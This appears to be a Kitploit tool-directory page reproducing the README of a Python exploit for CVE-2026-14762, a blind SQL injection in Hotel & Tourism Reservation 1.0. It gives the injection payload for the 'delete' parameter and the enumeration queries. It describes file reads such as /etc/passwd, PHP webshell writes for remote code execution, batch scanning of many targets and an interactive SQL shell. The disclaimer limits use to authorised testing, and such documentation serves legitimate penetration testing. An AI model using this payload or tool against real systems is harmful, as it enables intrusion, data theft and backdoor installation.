Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-14762-PoC-Exploit — Multi-threaded time-based blind SQL injection exploit for CVE-2026-14762 targeting Hotel & Tourism Reservation 1.0. Enumerates databases, tables, columns; reads files via LOAD_FILE; writes PHP webshells for RCE. Supports proxy, batch scanning, and interactive SQL shell. | Kitploit
Tools/GitHubGitHub/tc4dy/cve-2026-14762-poc-exploit
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingCommand and ControlRed TeamingPayload Development

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Database Security
GitHubtc4dy/cve-2026-14762-poc-exploit

CVE-2026-14762-PoC-Exploit

Multi-threaded time-based blind SQL injection exploit for CVE-2026-14762 targeting Hotel & Tourism Reservation 1.0. Enumerates databases, tables, columns; reads files via LOAD_FILE; writes PHP webshells for RCE. Supports proxy, batch scanning, and interactive SQL shell.

View Repository
2122 months agoNot yet reviewed
Share

CVE-2026-14762 – Code‑Projects Hotel & Tourism Reservation 1.0 SQL Injection Exploit

Python 3.11+ License CVSS CWE

Fully featured, multi‑threaded, time‑based blind SQL injection exploit for CVE‑2026‑14762.
Targets the /admin/rooms.php endpoint of the Code‑Projects Hotel & Tourism Reservation application (version 1.0).
Achieves full database enumeration, file system read (LOAD_FILE), and arbitrary file write (INTO OUTFILE / DUMPFILE) – leading to remote code execution via webshell deployment.

CVE Exploit


🚀 Features


📦 Requirements

  • Python ≥ 3.11
  • Python packages:
    • requests
    • urllib3
    • colorama (optional – for coloured terminal output)

Install all dependencies with:

root@kitploit:~
pip install requests urllib3 colorama

📖 Usage

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git

cd CVE-2026-14762-PoC-Exploit

chmod +x exploit.py or basic_exploit.py

📖 Command-Line Arguments


⚙️ How It Works

Payload Construction

The delete parameter is injected with:

root@kitploit:~
150' AND IF(<condition>, SLEEP(<delay>), 0) AND '1'='1

The IF() evaluates the condition; if true, the database sleeps for seconds. Binary-Search Character Extraction

For each character position, a binary search over the ASCII range (32–126) determines the correct character using > and = comparisons. This reduces requests from 95 per character to ~7–8, making extraction highly efficient. Metadata Enumeration

root@kitploit:~
Database name: SELECT DATABASE()

Tables: SELECT table_name FROM information_schema.tables WHERE table_schema='<db>' LIMIT n,1

Columns: SELECT column_name FROM information_schema.columns WHERE table_schema='<db>' AND table_name='<table>' LIMIT n,1

Data Exfiltration

root@kitploit:~
SELECT <col> FROM <table> LIMIT row,1 – extracts row by row

Each cell is extracted character by character using the same binary-search technique

File System Interaction

root@kitploit:~
Read: LOAD_FILE('/path/to/file') – requires secure_file_priv to be empty or point to the target directory

Write: SELECT '<content>' INTO OUTFILE '/path/to/shell.php' – requires FILE privilege and secure_file_priv not restrictive

🛡️ Disclaimer

This tool is provided for authorised security testing, educational research, and vulnerability assessment only. The author is not responsible for any misuse, illegal activities, or damage caused by this software. Always obtain explicit written permission from the system owner before testing.

Download Tool
CategoryCapability
VulnerabilityTime‑based blind SQL injection (CWE‑89)
Attack VectorGET /admin/rooms.php?delete=<payload>
ExploitationConditional SLEEP() injection with binary‑search character extraction
DatabaseCurrent database name extraction
SchemaTable & column enumeration via information_schema
Data DumpFull table export (JSON) – unlimited rows, configurable limit
File ReadLOAD_FILE() – read any file readable by MySQL (e.g. /etc/passwd, config files)
File WriteINTO OUTFILE / DUMPFILE – write PHP webshell, backdoor, or arbitrary content
Interactive ShellLive SQL shell (time‑based extraction) for manual queries
Single QueryExecute ad‑hoc SQL and retrieve results (512‑char limit)
Batch ModeMulti‑target scanning with configurable thread pool (ThreadPoolExecutor)
Proxy SupportHTTP/HTTPS proxy (Burp Suite, mitmproxy, etc.)
Verbose LoggingColoured output with timestamped debug info
Zero DependenciesOnly requests, urllib3, and colorama (optional)
ArgumentShortTypeDefaultDescription
--target-tURL—Single target URL (e.g. http://192.168.1.100)
--target-file-lFile—File containing list of targets (one per line)
--threads—Int5Number of threads for multi-target scanning
--output-oPath—Output file (JSON for dumps, raw text for files)
--verbose-vFlagFalseEnable verbose debug logging
--proxy—URL—HTTP/HTTPS proxy (e.g. http://127.0.0.1:8080)
--user-agent-uaStringMozilla/5.0...Custom User-Agent header
--delay—Float5.0Sleep time in seconds for blind injection
--max-retries—Int3Maximum request retry attempts
--ssl-verify—FlagFalseEnable SSL certificate verification
--webroot—Path/var/www/htmlWebroot for INTO OUTFILE webshell writes
--dump-db—FlagFalseDump all tables from the current database
--tables—FlagFalseList all table names only
--dump-table—Table—Dump a specific table (e.g. --dump-table users)
--read—Path—Read a file via LOAD_FILE()
--write-shell—FlagFalseWrite PHP webshell (shell.php) to webroot
--sql—Query—Execute a single SQL query (returns 512 chars max)
--interactive-iFlagFalseLaunch interactive SQL shell after exploitation